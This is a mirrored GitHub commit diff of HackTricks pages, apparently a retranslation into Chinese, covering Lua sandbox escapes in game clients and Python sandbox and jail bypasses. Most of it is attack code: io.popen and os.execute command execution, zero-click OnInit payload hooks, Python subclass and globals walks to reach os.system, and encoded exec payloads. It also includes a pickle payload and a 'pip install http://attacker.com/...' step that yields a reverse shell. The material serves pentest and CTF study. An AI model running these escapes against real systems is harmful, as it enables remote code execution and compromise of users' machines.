mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/windows-local-privilege-escalation/pr
This commit is contained in:
parent
b8298e76bc
commit
3e5327d434
@ -1,18 +1,18 @@
|
||||
# Bypass Lua sandboxes (embedded VMs, game clients)
|
||||
# 绕过 Lua 沙箱(嵌入式 VM、游戏客户端)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
本页收集了用于枚举并从嵌入在应用中的 Lua “sandboxes” 中突破的实用技术(尤其是 game clients、plugins 或应用内脚本引擎)。许多引擎暴露了受限的 Lua 环境,但仍会留下可访问的强大 globals;如果暴露 bytecode loaders,就可能实现任意命令执行甚至本机内存损坏。
|
||||
本页收集了用于枚举并突破嵌入在应用程序中的 Lua “沙箱”的实用技术(尤其是游戏客户端、插件或应用内脚本引擎)。许多引擎暴露出受限的 Lua 环境,但仍会留下可访问的强大全局,这些全局可导致任意命令执行,甚至在暴露字节码加载器时引发本地内存破坏。
|
||||
|
||||
关键思路:
|
||||
- 把 VM 当作未知环境来处理:枚举 _G,发现哪些危险的 primitives 可达。
|
||||
- 当 stdout/print 被屏蔽时,滥用任何 in-VM 的 UI/IPC 通道作为输出汇点以观察结果。
|
||||
- 如果 io/os 可用,通常可以直接执行命令(io.popen、os.execute)。
|
||||
- 如果暴露了 load/loadstring/loadfile,执行精心构造的 Lua bytecode 可能会在某些版本中破坏内存安全(≤5.1 的 verifiers 可被绕过;5.2 已移除 verifier),从而实现高级利用。
|
||||
- 将 VM 视为未知环境:枚举 _G,发现哪些危险原语可达。
|
||||
- 当 stdout/print 被屏蔽时,滥用 VM 内的任意 UI/IPC 通道作为输出接收器以观察结果。
|
||||
- 如果 io/os 被暴露,通常可以直接执行命令(io.popen、os.execute)。
|
||||
- 如果暴露了 load/loadstring/loadfile,执行精心构造的 Lua 字节码可以在某些版本中破坏内存安全(≤5.1 的验证器可被绕过;5.2 移除了验证器),从而实现高级利用。
|
||||
|
||||
## 枚举 the sandboxed environment
|
||||
## 枚举沙箱环境
|
||||
|
||||
- 转储 global environment,以清点可访问的 tables/functions:
|
||||
- 转储全局环境以清点可达的表/函数:
|
||||
```lua
|
||||
-- Minimal _G dumper for any Lua sandbox with some output primitive `out`
|
||||
local function dump_globals(out)
|
||||
@ -22,7 +22,7 @@ out(tostring(k) .. " = " .. tostring(v))
|
||||
end
|
||||
end
|
||||
```
|
||||
- 如果没有 print() 可用,可重用 in-VM channels。以下示例来自一个 MMO housing 脚本 VM:chat 输出只有在 sound call 之后才生效;下面构建了一个可靠的输出函数:
|
||||
- 如果没有 print() 可用,可改用 in-VM 通道。来自 MMO housing script VM 的示例:chat output 只有在 sound call 之后才会生效;以下构建了一个可靠的输出函数:
|
||||
```lua
|
||||
-- Build an output channel using in-game primitives
|
||||
local function ButlerOut(label)
|
||||
@ -39,11 +39,11 @@ local out = ButlerOut(1)
|
||||
dump_globals(out)
|
||||
end
|
||||
```
|
||||
将此模式泛化到你的目标:任何接受字符串的 textbox、toast、logger 或 UI callback 都可以作为 stdout 用于 reconnaissance。
|
||||
将此模式泛化到你的目标:任何接受字符串的 textbox, toast, logger, or UI callback 都可以作为 stdout 用于侦察。
|
||||
|
||||
## 如果 io/os 被暴露则可直接执行命令
|
||||
## 如果暴露了 io/os,可以直接执行命令
|
||||
|
||||
如果 sandbox 仍然暴露标准库 io 或 os,你很可能立即获得命令执行:
|
||||
如果沙箱仍然暴露标准库 io or os,你很可能可以立即执行命令:
|
||||
```lua
|
||||
-- Windows example
|
||||
io.popen("calc.exe")
|
||||
@ -52,29 +52,29 @@ io.popen("calc.exe")
|
||||
os.execute("/usr/bin/id")
|
||||
io.popen("/bin/sh -c 'id'")
|
||||
```
|
||||
- 执行发生在客户端进程内;许多阻止外部调试器的 anti-cheat/antidebug 层不会阻止 in-VM 进程创建。
|
||||
- 还要检查:package.loadlib (arbitrary DLL/.so loading)、require with native modules、LuaJIT's ffi (if present)、以及 debug library(可能在 VM 内提升权限)。
|
||||
- 执行发生在 client process 内;许多阻止 external debuggers 的 anti-cheat/antidebug 层并不会阻止 in-VM process creation。
|
||||
- 还要检查:package.loadlib (arbitrary DLL/.so loading)、require with native modules、LuaJIT's ffi (if present)、以及 debug library(可以在 VM 内提升权限)。
|
||||
|
||||
## Zero-click triggers via auto-run callbacks
|
||||
## 通过 auto-run callbacks 的 Zero-click 触发器
|
||||
|
||||
如果宿主应用将脚本推送到客户端,且 VM 暴露 auto-run hooks(例如 OnInit/OnLoad/OnEnter),在脚本加载时立即将 payload 放到这些钩子中以实现 drive-by compromise:
|
||||
如果 host application 将脚本推送到 clients 且 VM 暴露 auto-run hooks(例如 OnInit/OnLoad/OnEnter),则在脚本加载时立即将你的 payload 放到那里,以实现 drive-by compromise:
|
||||
```lua
|
||||
function OnInit()
|
||||
io.popen("calc.exe") -- or any command
|
||||
end
|
||||
```
|
||||
任何等效的回调(OnLoad、OnEnter 等)都会在脚本被自动传输并在客户端执行时使该技术泛化。
|
||||
任何等效的回调(OnLoad、OnEnter 等)在脚本被传输并自动在客户端执行时会将此技术泛化。
|
||||
|
||||
## 在 recon 期间要寻找的危险原语
|
||||
## 在侦察期间要搜索的危险原语
|
||||
|
||||
在对 _G 进行枚举时,特别注意查找:
|
||||
- io、os:io.popen、os.execute、file I/O、env access。
|
||||
- load、loadstring、loadfile、dofile:执行源代码或字节码;支持加载不受信任的字节码。
|
||||
- package、package.loadlib、require:动态库加载和模块暴露面。
|
||||
- debug:setfenv/getfenv(≤5.1)、getupvalue/setupvalue、getinfo,以及 hooks。
|
||||
- LuaJIT-only:ffi.cdef、ffi.load,用于直接调用本地代码。
|
||||
在 _G 枚举期间,特别注意查找:
|
||||
- io, os: io.popen, os.execute, file I/O, env access.
|
||||
- load, loadstring, loadfile, dofile: 执行源代码或 bytecode;支持加载不受信任的 bytecode。
|
||||
- package, package.loadlib, require: 动态库加载和模块接口。
|
||||
- debug: setfenv/getfenv (≤5.1), getupvalue/setupvalue, getinfo, and hooks.
|
||||
- LuaJIT-only: ffi.cdef, ffi.load to call native code directly.
|
||||
|
||||
最小使用示例(如果可达):
|
||||
Minimal usage examples (if reachable):
|
||||
```lua
|
||||
-- Execute source/bytecode
|
||||
local f = load("return 1+1")
|
||||
@ -89,20 +89,20 @@ print(g())
|
||||
local mylib = package.loadlib("./libfoo.so", "luaopen_foo")
|
||||
local foo = mylib()
|
||||
```
|
||||
## 可选的权限提升:滥用 Lua bytecode loaders
|
||||
## 可选升级:abusing Lua bytecode loaders
|
||||
|
||||
当 load/loadstring/loadfile 可达但 io/os 受限时,执行精心构造的 Lua bytecode 可能导致内存泄露和破坏原语。关键要点:
|
||||
- Lua ≤ 5.1 附带一个已知可被绕过的 bytecode verifier。
|
||||
- Lua 5.2 完全移除了 verifier(官方立场:应用程序应直接拒绝预编译的 chunks),如果不禁止 bytecode 加载,则扩大了攻击面。
|
||||
- 典型流程:通过 in-VM 输出 leak pointers,构造 bytecode 以制造类型混淆(例如围绕 FORLOOP 或其他 opcodes),然后转向 arbitrary read/write 或 native code execution。
|
||||
当 load/loadstring/loadfile 可达但 io/os 受限时,执行精心构造的 Lua bytecode 可能导致内存泄露和破坏原语。要点:
|
||||
- Lua ≤ 5.1 随附了一个 bytecode verifier,该 verifier 有已知的 bypasses。
|
||||
- Lua 5.2 完全移除了该 verifier(官方立场:应用应直接拒绝 precompiled chunks),如果不禁止 bytecode loading 则扩大了攻击面。
|
||||
- 典型工作流:通过 in-VM 输出 leak 指针,构造 bytecode 以制造 type confusions(例如围绕 FORLOOP 或其他 opcodes),然后枢转为 arbitrary read/write 或 native code execution。
|
||||
|
||||
该路径与 engine/version 相关,并且需要 RE。详见 references 中的深入分析、利用原语和游戏中的示例 gadgetry。
|
||||
此路径依赖于引擎/版本并需 RE。详见参考以获取深入分析、利用原语和在游戏中的示例 gadgetry。
|
||||
|
||||
## Detection and hardening notes (for defenders)
|
||||
## 检测与加固说明(供防御者)
|
||||
|
||||
- 服务器端:拒绝或重写用户脚本;白名单安全 APIs;移除或绑定为空 io、os、load/loadstring/loadfile/dofile、package.loadlib、debug、ffi。
|
||||
- 客户端:以最小 _ENV 运行 Lua,禁止 bytecode 加载,重新引入严格的 bytecode verifier 或签名校验,并阻止客户端进程创建子进程。
|
||||
- 遥测:在 script 加载后不久检测到 gameclient → 子进程创建时触发告警;与 UI/chat/script 事件进行关联。
|
||||
- Server side:拒绝或重写用户脚本;白名单安全 API;移除或绑定为空 io、os、load/loadstring/loadfile/dofile、package.loadlib、debug、ffi。
|
||||
- Client side:以最小 _ENV 运行 Lua,禁止 bytecode loading,重新引入严格的 bytecode verifier 或签名校验,并阻止客户端进程创建子进程。
|
||||
- Telemetry:在脚本加载后不久对 gameclient → child process creation 发出告警;与 UI/chat/script 事件做关联分析。
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@ -2,11 +2,11 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
这些是一些绕过 Python sandbox 保护并执行任意命令的技巧。
|
||||
以下是一些绕过 python sandbox 保护并执行任意命令的技巧。
|
||||
|
||||
## 命令执行库
|
||||
|
||||
首先你需要知道的是,是否可以直接利用已导入的某个库执行代码,或者是否可以 import 下列任意库:
|
||||
首先你需要确认是否可以使用某些已导入的库直接执行代码,或者是否可以 import 下列任一库:
|
||||
```python
|
||||
os.system("ls")
|
||||
os.popen("ls").read()
|
||||
@ -39,21 +39,21 @@ open('/var/www/html/input', 'w').write('123')
|
||||
execfile('/usr/lib/python2.7/os.py')
|
||||
system('ls')
|
||||
```
|
||||
请记住,_**open**_ 和 _**read**_ 函数在 python sandbox 中非常有用:可以 **读取文件**,也可以 **写入一些代码**,你可以 **执行** 这些代码来 **bypass** sandbox。
|
||||
请记住,_**open**_ 和 _**read**_ 函数可用于在 python sandbox 中 **读取文件**,并 **写入一些代码**,你可以 **执行** 这些代码以 **bypass** sandbox。
|
||||
|
||||
> [!CAUTION] > **Python2 input()** 函数允许在程序崩溃之前执行 python 代码。
|
||||
> [!CAUTION] > **Python2 input()** function 允许在程序崩溃前执行 python 代码。
|
||||
|
||||
Python 会尝试 **优先从当前目录加载库**(下面的命令会打印出 python 从哪里加载模块): `python3 -c 'import sys; print(sys.path)'`
|
||||
Python 会尝试 **优先从当前目录加载库**(下面的命令会打印出 python 从哪里加载模块):`python3 -c 'import sys; print(sys.path)'`
|
||||
|
||||
.png>)
|
||||
|
||||
## Bypass pickle sandbox with the default installed python packages
|
||||
|
||||
### Default packages
|
||||
### 默认包
|
||||
|
||||
You can find a **list of pre-installed** packages here: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
||||
注意,从一个 pickle 你可以让 python env **import 系统中已安装的任意库**。\
|
||||
例如,下面这个 pickle 在被加载时会 import pip 库以供使用:
|
||||
你可以在这里找到一个 **已预装** packages 的列表: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html]\
|
||||
注意,通过 pickle 你可以让 python env **import arbitrary libraries**(系统中已安装的)。\
|
||||
例如,下面的 pickle 在被加载时会导入 pip 库并使用它:
|
||||
```python
|
||||
#Note that here we are importing the pip library so the pickle is created correctly
|
||||
#however, the victim doesn't even need to have the library installed to execute it
|
||||
@ -68,30 +68,30 @@ print(base64.b64encode(pickle.dumps(P(), protocol=0)))
|
||||
```
|
||||
有关 pickle 工作原理的更多信息,请查看: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
|
||||
|
||||
### Pip 包
|
||||
### Pip package
|
||||
|
||||
由 **@isHaacK** 分享的技巧
|
||||
技巧由 **@isHaacK** 分享
|
||||
|
||||
如果你可以访问 `pip` 或 `pip.main()`,你可以安装任意包并通过调用获得 reverse shell:
|
||||
如果你可以访问 `pip` 或 `pip.main()`,你可以安装任意包并通过调用获得 reverse shell:
|
||||
```bash
|
||||
pip install http://attacker.com/Rerverse.tar.gz
|
||||
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
|
||||
```
|
||||
你可以在此处下载用于创建 reverse shell 的包。请注意,在使用之前你应该 **解压它、修改 `setup.py`,并将你的 IP 填入 reverse shell**:
|
||||
你可以在这里下载用来创建 reverse shell 的包。请注意,在使用它之前你应该**解压它,修改 `setup.py`,并填写你的 reverse shell IP**:
|
||||
|
||||
{{#file}}
|
||||
Reverse.tar (1).gz
|
||||
{{#endfile}}
|
||||
|
||||
> [!TIP]
|
||||
> 该包名为 `Reverse`。不过,它被特别制作为当你退出 reverse shell 时安装的其余部分会失败,因此你离开后**不会在 server 上留下任何额外的 python package**。
|
||||
> 这个包名为 `Reverse`。然而,它经过特别制作,当你退出 reverse shell 时,后续的安装会失败,所以当你离开时,你**不会在服务器上留下额外的 python 包**。
|
||||
|
||||
## 在 python 中使用 eval
|
||||
## Eval-ing python code
|
||||
|
||||
> [!WARNING]
|
||||
> 请注意,exec 允许多行字符串和 ";",但 eval 不允许(参考 walrus operator)
|
||||
> 注意 exec 允许多行字符串和 ";",但 eval 不允许(参见 walrus operator)
|
||||
|
||||
如果某些字符被禁止,你可以使用 **hex/octal/B64** 表示来**绕过**该限制:
|
||||
如果某些字符被禁止,你可以使用 **hex/octal/B64** 表示来 **bypass** 限制:
|
||||
```python
|
||||
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
|
||||
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
|
||||
@ -112,7 +112,7 @@ exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x
|
||||
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
|
||||
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
|
||||
```
|
||||
### 其他允许 eval python 代码的库
|
||||
### 其他允许 eval python code 的库
|
||||
```python
|
||||
#Pandas
|
||||
import pandas as pd
|
||||
@ -126,9 +126,9 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
|
||||
# Like:
|
||||
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
|
||||
```
|
||||
另见在 PDF 生成器中的真实世界沙箱化求值器逃逸:
|
||||
另见一个在 PDF 生成器中发生的真实世界的沙箱评估器逃逸:
|
||||
|
||||
- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733)。它滥用 rl_safe_eval,从被求值的属性(例如,字体颜色)访问 function.__globals__ 和 os.system,并返回一个有效值以保持渲染稳定。
|
||||
- ReportLab/xhtml2pdf triple-bracket [[[...]]] 表达式求值 → RCE (CVE-2023-33733)。它滥用 rl_safe_eval,通过被求值的属性(例如字体颜色)到达 function.__globals__ 和 os.system,并返回一个有效值以保持渲染稳定。
|
||||
|
||||
{{#ref}}
|
||||
reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
|
||||
@ -145,7 +145,7 @@ reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
|
||||
```
|
||||
## 通过编码绕过防护 (UTF-7)
|
||||
|
||||
在 [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) 中,UFT-7 被用来在一个看似受限的 sandbox 中加载并执行任意 python 代码:
|
||||
在 [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) 中,UFT-7 被用来在一个看似的 sandbox 内加载并执行任意 python 代码:
|
||||
```python
|
||||
assert b"+AAo-".decode("utf_7") == "\n"
|
||||
|
||||
@ -156,13 +156,13 @@ return x
|
||||
#+AAo-print(open("/flag.txt").read())
|
||||
""".lstrip()
|
||||
```
|
||||
也可以使用其他编码绕过它,例如 `raw_unicode_escape` 和 `unicode_escape`。
|
||||
也可以使用其他编码绕过,例如 `raw_unicode_escape` 和 `unicode_escape`。
|
||||
|
||||
## Python 在无法发起调用时的执行
|
||||
## 无法调用时的 Python 执行
|
||||
|
||||
如果你处在一个 python jail 中,**不允许你发起调用**,仍然有一些方法可以**执行任意函数、code** 和 **命令**。
|
||||
如果你处在一个 python 限制环境(jail)中,**不允许你进行调用**,仍然有一些方法可以**执行任意函数、代码**和**命令**。
|
||||
|
||||
### 使用 [decorators](https://docs.python.org/3/glossary.html#term-decorator) 的 RCE
|
||||
### RCE with [decorators](https://docs.python.org/3/glossary.html#term-decorator)
|
||||
```python
|
||||
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
|
||||
@exec
|
||||
@ -186,11 +186,11 @@ class _:pass
|
||||
```
|
||||
### RCE 创建对象和重载
|
||||
|
||||
如果你能够 **声明一个类** 并 **创建该类的对象**,你就可以 **编写/重写不同的方法**,这些方法可以在 **被触发** 时 **无需直接调用**。
|
||||
如果你能**声明一个类**并**创建该类的对象**,你就可以**编写/覆盖不同的方法**,这些方法可以在**被触发**时执行,**无需** **直接调用它们**。
|
||||
|
||||
#### 使用自定义类的 RCE
|
||||
#### RCE 与自定义类
|
||||
|
||||
你可以修改一些 **类方法** (_通过重写现有类方法或创建新类_),使它们在 **被触发时** **执行任意代码**,而无需直接调用它们。
|
||||
你可以修改某些**类方法** (_通过覆盖现有类方法或创建新类_),使它们在**被触发**时**执行任意代码**,而无需直接调用它们。
|
||||
```python
|
||||
# This class has 3 different ways to trigger RCE without directly calling any function
|
||||
class RCE:
|
||||
@ -242,7 +242,7 @@ __ixor__ (k ^= 'import os; os.system("sh")')
|
||||
```
|
||||
#### 使用 [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses) 创建对象
|
||||
|
||||
关键在于,元类允许我们通过创建一个以目标类为元类的新类,来**直接创建类的实例而不调用构造函数**。
|
||||
metaclasses 允许我们做的关键事情是通过创建一个新的类,并将目标类作为 metaclass,从而 **在不直接调用构造函数的情况下创建类的实例**。
|
||||
```python
|
||||
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
|
||||
# This will define the members of the "subclass"
|
||||
@ -257,9 +257,9 @@ Sub['import os; os.system("sh")']
|
||||
|
||||
## You can also use the tricks from the previous section to get RCE with this object
|
||||
```
|
||||
#### 通过 exceptions 创建对象
|
||||
#### 通过异常创建对象
|
||||
|
||||
当**exception 被触发**时,会创建一个**Exception**对象,而你无需直接调用 constructor (该技巧来自 [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
|
||||
当一个 **exception 被触发** 时,会创建一个 **Exception** 对象,无需你直接调用构造函数(来自 [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez) 的技巧):
|
||||
```python
|
||||
class RCE(Exception):
|
||||
def __init__(self):
|
||||
@ -301,7 +301,7 @@ __iadd__ = eval
|
||||
__builtins__.__import__ = X
|
||||
{}[1337]
|
||||
```
|
||||
### 使用 builtins help 与 license 读取文件
|
||||
### 使用 builtins help & license 读取文件
|
||||
```python
|
||||
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
|
||||
a = __builtins__.help
|
||||
@ -310,7 +310,7 @@ a.__class__.__exit__ = lambda self, *args: None
|
||||
with (a as b):
|
||||
pass
|
||||
```
|
||||
## Builtins
|
||||
## 内置
|
||||
|
||||
- [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html)
|
||||
- [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html)
|
||||
@ -320,12 +320,12 @@ pass
|
||||
__builtins__.__import__("os").system("ls")
|
||||
__builtins__.__dict__['__import__']("os").system("ls")
|
||||
```
|
||||
### 没有 `__builtins__`
|
||||
### No Builtins
|
||||
|
||||
当你没有 `__builtins__` 时,你将无法导入任何东西,甚至无法读取或写入文件,因为 **所有全局函数**(像 `open`, `import`, `print`...)**未被加载**。\
|
||||
然而,**默认情况下 python 会在内存中导入许多模块**。这些模块看起来可能很无害,但其中有些模块**也在内部导入了危险的功能**,可以被访问以获得甚至**任意代码执行**。
|
||||
当你没有 `__builtins__` 时,你将无法导入任何模块,甚至无法读写文件,因为 **所有全局函数**(像 `open`、`import`、`print`...)**没有被加载**。\
|
||||
然而,**默认情况下 python 会在内存中导入许多模块**。这些模块看起来可能是无害的,但其中一些模块**内部也导入了危险的**功能,可以被访问以获得甚至 **arbitrary code execution**。
|
||||
|
||||
在以下示例中,你可以看到如何**滥用**这些已加载的“**无害**”模块,以**访问**它们内部的**危险**功能。
|
||||
在下面的示例中,你可以观察到如何**abuse** 一些被加载的“**benign**”模块,以**access** 它们内部的**dangerous** **functionalities**。
|
||||
|
||||
**Python2**
|
||||
```python
|
||||
@ -367,7 +367,7 @@ get_flag.__globals__['__builtins__']
|
||||
# Get builtins from loaded classes
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
|
||||
```
|
||||
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) 用于查找数十/**数百**个**位置**,您可以在这些位置找到 **builtins**。
|
||||
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) 用于在数十/**数百**个**位置**中查找**builtins**。
|
||||
|
||||
#### Python2 and Python3
|
||||
```python
|
||||
@ -385,7 +385,7 @@ __builtins__["__import__"]("os").system("ls")
|
||||
```
|
||||
## Globals and locals
|
||||
|
||||
检查 **`globals`** 和 **`locals`** 是了解你可以访问的内容的好方法。
|
||||
检查 **`globals`** 和 **`locals`** 是了解你可以访问什么的好方法。
|
||||
```python
|
||||
>>> globals()
|
||||
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
|
||||
@ -409,15 +409,15 @@ class_obj.__init__.__globals__
|
||||
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
|
||||
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
|
||||
```
|
||||
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) 用于查找数十/**数百** 个可以找到 **globals** 的 **位置**。
|
||||
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) 去找到 数十/**数百** 个 **位置**,在那些位置你可以找到 **globals**。
|
||||
|
||||
## 发现任意执行
|
||||
|
||||
在这里我想解释如何轻松发现 **已加载的更危险功能** 并提出更可靠的利用方法。
|
||||
在这里我想解释如何更容易地发现 **加载的更危险的功能** 并提出更可靠的 exploits。
|
||||
|
||||
#### 使用绕过方法访问子类
|
||||
#### 使用 bypasses 访问子类
|
||||
|
||||
该技术最敏感的部分之一是能够 **访问基类的子类**。在之前的示例中这是通过 `''.__class__.__base__.__subclasses__()` 完成的,但还有 **其他可能的方法**:
|
||||
此技术最敏感的部分之一是能够 **访问基类的子类**。在前面的例子中这是通过 `''.__class__.__base__.__subclasses__()` 完成的,但还有 **其他可能的方法**:
|
||||
```python
|
||||
#You can access the base from mostly anywhere (in regular conditions)
|
||||
"".__class__.__base__.__subclasses__()
|
||||
@ -445,18 +445,18 @@ defined_func.__class__.__base__.__subclasses__()
|
||||
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
|
||||
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
|
||||
```
|
||||
### 查找已加载的危险库
|
||||
### 寻找已加载的危险库
|
||||
|
||||
例如,知道使用库 **`sys`** 可以 **import arbitrary libraries**,你可以搜索所有 **modules loaded that have imported sys inside of them**:
|
||||
例如,知道使用库 **`sys`** 可以 **导入任意库**,你可以搜索所有**已加载且在其中导入了 `sys` 的模块**:
|
||||
```python
|
||||
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
|
||||
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
|
||||
```
|
||||
有很多,而**我们只需要一个**来 execute commands:
|
||||
有很多,而且 **我们只需要一个** 来执行命令:
|
||||
```python
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
|
||||
```
|
||||
我们可以对我们知道可以用来**执行命令**的**其他库**做同样的事情:
|
||||
我们可以对**其他库**做同样的事情,这些库是我们知道可以用来**执行命令**的:
|
||||
```python
|
||||
#os
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
|
||||
@ -510,7 +510,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
|
||||
pdb:
|
||||
"""
|
||||
```
|
||||
此外,如果你认为 **other libraries** 可能能够 **invoke functions to execute commands**,我们也可以在可能的 libraries 中 **filter by functions names**:
|
||||
此外,如果你认为 **other libraries** 可能能够 **invoke functions to execute commands**,我们也可以在可能的库中通过 **filter by functions names** 进行过滤:
|
||||
```python
|
||||
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
||||
